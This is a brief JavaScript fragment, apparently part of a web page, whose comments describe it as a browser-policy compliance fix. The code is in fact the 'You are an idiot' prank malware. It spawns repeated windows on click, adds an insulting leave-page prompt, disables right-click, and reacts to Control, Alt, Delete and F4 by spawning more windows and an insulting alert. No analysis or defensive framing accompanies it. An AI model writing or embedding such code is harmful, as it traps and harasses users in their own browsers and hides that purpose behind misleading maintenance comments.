/* * [Aug 2023] Fixed addEventListener for the document container. * [Oct 2021] Added to comply with strict browser policies. * * Requires safe.js & math.js preload. */ container.addEventListener('click', async () => { await proCreate(6); window.onbeforeunload = () => "Are you an idiot?"; }); window.onload = playBall; window.oncontextmenu = () => false; window.onkeydown = async () => { if (['Control', 'Alt', 'Delete', 'F4'].includes(event.key)) { await proCreate(6); alert("You are an idiot!"); } return null; } /* [Aug 2023] End of amendments. */